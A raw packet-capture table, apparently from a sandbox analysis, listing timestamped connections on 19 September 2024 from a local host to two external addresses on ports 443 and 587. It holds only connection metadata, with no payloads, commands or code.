Sep 19, 2024 12:22:06.637404919 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:06.637490034 CEST	61534	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:06.637774944 CEST	61534	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:06.637789965 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:06.638659000 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.638751030 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.794190884 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.794790983 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.798568964 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:06.798602104 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:06.799220085 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:06.799220085 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:06.799257994 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:06.809855938 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.810168982 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:07.061012983 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:07.061578989 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:07.066659927 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:07.273386002 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:07.275561094 CEST	61534	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:07.275599957 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:07.275687933 CEST	61534	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:07.275698900 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:07.590034962 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:07.590318918 CEST	443	61534	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:07.590416908 CEST	61534	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:07.590950966 CEST	61534	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:07.592283964 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:07.597146034 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:07.597251892 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:08.662399054 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:08.662761927 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:08.662942886 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:08.663922071 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:08.663985968 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:08.664061069 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:08.664115906 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:08.664736986 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:08.664757967 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:08.664872885 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:08.664891005 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:08.668148994 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:08.819657087 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:08.820018053 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:08.827058077 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.116108894 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.116466999 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:09.121551991 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.204828978 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:09.208019972 CEST	443	61535	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:09.208101988 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:09.208676100 CEST	61535	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:09.210099936 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:09.215681076 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.215785980 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:09.765480042 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.765763044 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:09.771207094 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.921050072 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:09.921363115 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:09.926565886 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:10.079166889 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:10.080498934 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:10.085597992 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.438726902 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.438920975 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:11.443802118 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.595422983 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.595679045 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:11.600936890 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.782876015 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.783258915 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:11.786740065 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:11.786771059 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:11.786879063 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:11.787205935 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:11.787219048 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:11.789832115 CEST	587	61536	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:11.789915085 CEST	61536	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:12.410978079 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.412513018 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.412543058 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.412611008 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.412621975 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.444386005 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.444637060 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:12.449824095 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.600804090 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.601030111 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:12.605967999 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.790983915 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.791435003 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:12.794569969 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.794606924 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.794800997 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.794924974 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.794945955 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.798029900 CEST	587	61537	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.798099995 CEST	61537	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:12.839531898 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.839704037 CEST	443	61538	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:12.839783907 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.840168953 CEST	61538	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:12.841321945 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:12.846551895 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:12.846664906 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:13.413630009 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.413985968 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:13.420253038 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.439836979 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:13.443044901 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:13.443079948 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:13.443130016 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:13.443140984 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:13.573043108 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.573502064 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:13.578898907 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.734548092 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.734894037 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:13.740274906 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.765934944 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:13.766196012 CEST	443	61539	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:13.766318083 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:13.766578913 CEST	61539	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:13.769293070 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:13.775032043 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:13.775146008 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:14.321568966 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:14.321743011 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:14.329673052 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:14.480807066 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:14.481129885 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:14.486337900 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:14.638926983 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:14.639137030 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:14.644149065 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.079889059 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.080183983 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:15.085318089 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.239180088 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.239635944 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:15.244565964 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.416130066 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.416476011 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:15.419044018 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:15.419085026 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:15.419162989 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:15.419420958 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:15.419441938 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:15.421812057 CEST	587	61540	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:15.423609972 CEST	61540	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:16.050445080 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.052932978 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.052997112 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.053076029 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.053098917 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.447439909 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.447737932 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:16.452635050 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.470349073 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.470590115 CEST	443	61542	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.470801115 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.470942020 CEST	61542	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.472168922 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:16.478141069 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.478235960 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:16.603408098 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.603584051 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:16.608731985 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.777477026 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.777749062 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:16.780626059 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.780678034 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.780755043 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.780988932 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:16.780999899 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:16.783051014 CEST	587	61541	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:16.783112049 CEST	61541	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:17.045360088 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.045599937 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:17.050471067 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.204201937 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.204504967 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:17.209439039 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.365452051 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.366199970 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:17.371404886 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.392594099 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:17.394505024 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:17.394565105 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:17.394649982 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:17.394674063 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:17.706758976 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:17.706847906 CEST	443	61544	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:17.707107067 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:17.707669973 CEST	61544	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:17.708637953 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:17.713560104 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:17.713762045 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:18.257107973 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:18.257333040 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:18.262260914 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:18.411603928 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:18.411808014 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:18.416661978 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:18.568218946 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:18.568550110 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:18.573458910 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.450445890 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.450773001 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:19.455893040 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.729592085 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.729820013 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:19.734729052 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.909646988 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.910007000 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:19.912465096 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:19.912508965 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:19.912585974 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:19.912897110 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:19.912914991 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:19.915148973 CEST	587	61543	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:19.915326118 CEST	61543	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:20.442325115 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.442517042 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:20.447374105 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.539761066 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.541776896 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.541801929 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.541871071 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.541882992 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.598522902 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.598757029 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:20.603640079 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.772680998 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.772938967 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:20.775458097 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.775501013 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.775633097 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.775903940 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.775918007 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.778750896 CEST	587	61545	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.778824091 CEST	61545	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:20.895236015 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.895307064 CEST	443	61546	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:20.895489931 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.896058083 CEST	61546	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:20.897367954 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:20.902348042 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:20.902492046 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:21.407114029 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:21.408711910 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:21.408736944 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:21.408809900 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:21.408821106 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:21.465183020 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.465351105 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:21.471302032 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.624355078 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.624597073 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:21.629558086 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.906661034 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.906867981 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:21.906918049 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:21.906966925 CEST	443	61547	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:21.907041073 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:21.907453060 CEST	61547	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:21.908643007 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:21.911798954 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.913516045 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:21.913602114 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:22.462002993 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:22.464104891 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:22.468959093 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:22.619673967 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:22.619868040 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:22.625119925 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:22.777906895 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:22.778151035 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:22.783000946 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:23.456172943 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:23.456410885 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:23.462454081 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:23.618108034 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:23.618262053 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:23.624767065 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.084027052 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.084716082 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.084897041 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:24.085139990 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:24.087605953 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.087690115 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.088042974 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.088370085 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.088404894 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.090871096 CEST	587	61548	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.090962887 CEST	61548	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:24.501113892 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.501271963 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:24.506139040 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.658282042 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.660165071 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:24.665075064 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.691736937 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.694030046 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.694092989 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.694169044 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.694183111 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.849423885 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.849772930 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:24.852957964 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.853001118 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.853072882 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.853359938 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:24.853370905 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:24.855047941 CEST	587	61549	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:24.855243921 CEST	61549	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.060960054 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.061026096 CEST	443	61550	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.061099052 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:25.061549902 CEST	61550	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:25.062849998 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.067744970 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:25.067831993 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.467269897 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.472980976 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:25.473010063 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.473064899 CEST	61551	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:25.473073006 CEST	443	61551	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:25.613787889 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:25.613957882 CEST	61552	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:25.618871927 CEST	587	61552	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:25.768910885 CEST	587	61552	208.91.199.223	192.168.2.5
